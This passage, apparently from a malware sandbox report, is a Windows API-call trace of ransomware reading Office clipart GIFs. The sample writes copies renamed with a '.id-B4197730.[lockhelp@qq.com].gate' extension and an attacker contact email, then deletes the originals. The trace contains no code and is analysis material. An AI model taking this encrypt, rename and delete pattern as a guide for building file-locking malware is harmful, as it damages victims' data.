lstrlenW (lpString=".zip") returned 4 [0279.235] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString=".rar") returned 4 [0279.235] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString=".bz2") returned 4 [0279.235] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.235] lstrlenW (lpString=".7z") returned 3 [0279.235] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.236] lstrlenW (lpString=".dbf") returned 4 [0279.236] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.236] lstrlenW (lpString=".1cd") returned 4 [0279.236] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.236] lstrlenW (lpString=".jpg") returned 4 [0279.236] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.236] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.236] lstrlenW (lpString="AG00154_.GIF") returned 12 [0279.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.250] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5315) returned 1 [0279.250] CloseHandle (hObject=0x3dc) returned 1 [0279.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0279.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.251] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.251] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0279.251] GetLastError () returned 0x0 [0279.251] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x14c3, lpOverlapped=0x0) returned 1 [0279.501] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x14d0, lpOverlapped=0x0) returned 1 [0279.502] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.502] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.502] SetEndOfFile (hFile=0x3f8) returned 1 [0279.504] CloseHandle (hObject=0x3f8) returned 1 [0279.505] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.505] SetEndOfFile (hFile=0x3dc) returned 1 [0279.545] CloseHandle (hObject=0x3dc) returned 1 [0279.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString=".doc") returned 4 [0279.547] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.547] lstrlenW (lpString=".docx") returned 5 [0279.547] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.547] lstrlenW (lpString=".pdf") returned 4 [0279.547] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.547] lstrlenW (lpString=".xls") returned 4 [0279.547] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.547] lstrlenW (lpString=".xlsx") returned 5 [0279.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.547] lstrlenW (lpString=".ppt") returned 4 [0279.547] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString=".zip") returned 4 [0279.547] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.547] lstrlenW (lpString=".rar") returned 4 [0279.547] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.547] lstrlenW (lpString=".bz2") returned 4 [0279.547] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.547] lstrlenW (lpString=".7z") returned 3 [0279.547] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString=".dbf") returned 4 [0279.547] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString=".1cd") returned 4 [0279.547] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.547] lstrlenW (lpString=".jpg") returned 4 [0279.547] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString=".doc") returned 4 [0279.548] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.548] lstrlenW (lpString=".docx") returned 5 [0279.548] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.548] lstrlenW (lpString=".pdf") returned 4 [0279.548] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString=".xls") returned 4 [0279.548] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString=".xlsx") returned 5 [0279.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.548] lstrlenW (lpString=".ppt") returned 4 [0279.548] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString=".zip") returned 4 [0279.548] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString=".rar") returned 4 [0279.548] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.548] lstrlenW (lpString=".bz2") returned 4 [0279.548] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.548] lstrlenW (lpString=".7z") returned 3 [0279.548] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString=".dbf") returned 4 [0279.548] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString=".1cd") returned 4 [0279.548] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0279.548] lstrlenW (lpString=".jpg") returned 4 [0279.548] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.549] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.549] lstrlenW (lpString="AG00160_.GIF") returned 12 [0279.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.549] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1146) returned 1 [0279.549] CloseHandle (hObject=0x3dc) returned 1 [0279.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0279.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.550] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.550] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.550] GetLastError () returned 0x0 [0279.550] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x47a, lpOverlapped=0x0) returned 1 [0279.638] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x480, lpOverlapped=0x0) returned 1 [0279.639] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.639] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.639] SetEndOfFile (hFile=0x3a0) returned 1 [0279.639] CloseHandle (hObject=0x3a0) returned 1 [0279.640] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.640] SetEndOfFile (hFile=0x3dc) returned 1 [0279.642] CloseHandle (hObject=0x3dc) returned 1 [0279.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0279.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.643] lstrlenW (lpString=".doc") returned 4 [0279.643] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.643] lstrlenW (lpString=".docx") returned 5 [0279.643] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.643] lstrlenW (lpString=".pdf") returned 4 [0279.643] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.643] lstrlenW (lpString=".xls") returned 4 [0279.643] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.643] lstrlenW (lpString=".xlsx") returned 5 [0279.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.643] lstrlenW (lpString=".ppt") returned 4 [0279.643] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.643] lstrlenW (lpString=".zip") returned 4 [0279.643] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.643] lstrlenW (lpString=".rar") returned 4 [0279.643] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.643] lstrlenW (lpString=".bz2") returned 4 [0279.643] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.643] lstrlenW (lpString=".7z") returned 3 [0279.643] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.643] lstrlenW (lpString=".dbf") returned 4 [0279.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString=".1cd") returned 4 [0279.644] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString=".jpg") returned 4 [0279.644] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString=".doc") returned 4 [0279.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.644] lstrlenW (lpString=".docx") returned 5 [0279.644] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.644] lstrlenW (lpString=".pdf") returned 4 [0279.644] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString=".xls") returned 4 [0279.644] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString=".xlsx") returned 5 [0279.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.644] lstrlenW (lpString=".ppt") returned 4 [0279.644] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString=".zip") returned 4 [0279.644] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString=".rar") returned 4 [0279.644] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.644] lstrlenW (lpString=".bz2") returned 4 [0279.644] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.644] lstrlenW (lpString=".7z") returned 3 [0279.644] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.644] lstrlenW (lpString=".dbf") returned 4 [0279.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.645] lstrlenW (lpString=".1cd") returned 4 [0279.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0279.645] lstrlenW (lpString=".jpg") returned 4 [0279.645] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.645] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.645] lstrlenW (lpString="AG00163_.GIF") returned 12 [0279.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.645] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6984) returned 1 [0279.645] CloseHandle (hObject=0x3dc) returned 1 [0279.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0279.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.646] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.646] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.646] GetLastError () returned 0x0 [0279.646] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1b48, lpOverlapped=0x0) returned 1 [0279.679] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1b50, lpOverlapped=0x0) returned 1 [0279.680] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.680] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.680] SetEndOfFile (hFile=0x3a0) returned 1 [0279.680] CloseHandle (hObject=0x3a0) returned 1 [0279.681] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.681] SetEndOfFile (hFile=0x3dc) returned 1 [0279.683] CloseHandle (hObject=0x3dc) returned 1 [0279.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0279.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.684] lstrlenW (lpString=".doc") returned 4 [0279.684] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.684] lstrlenW (lpString=".docx") returned 5 [0279.684] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.684] lstrlenW (lpString=".pdf") returned 4 [0279.684] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.684] lstrlenW (lpString=".xls") returned 4 [0279.684] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.684] lstrlenW (lpString=".xlsx") returned 5 [0279.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.684] lstrlenW (lpString=".ppt") returned 4 [0279.684] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.684] lstrlenW (lpString=".zip") returned 4 [0279.684] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.684] lstrlenW (lpString=".rar") returned 4 [0279.684] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.684] lstrlenW (lpString=".bz2") returned 4 [0279.684] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.684] lstrlenW (lpString=".7z") returned 3 [0279.684] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.684] lstrlenW (lpString=".dbf") returned 4 [0279.684] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.684] lstrlenW (lpString=".1cd") returned 4 [0279.685] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.685] lstrlenW (lpString=".jpg") returned 4 [0279.685] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.685] lstrlenW (lpString=".doc") returned 4 [0279.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.685] lstrlenW (lpString=".docx") returned 5 [0279.685] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.685] lstrlenW (lpString=".pdf") returned 4 [0279.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString=".xls") returned 4 [0279.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString=".xlsx") returned 5 [0279.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.685] lstrlenW (lpString=".ppt") returned 4 [0279.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.685] lstrlenW (lpString=".zip") returned 4 [0279.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString=".rar") returned 4 [0279.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.685] lstrlenW (lpString=".bz2") returned 4 [0279.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 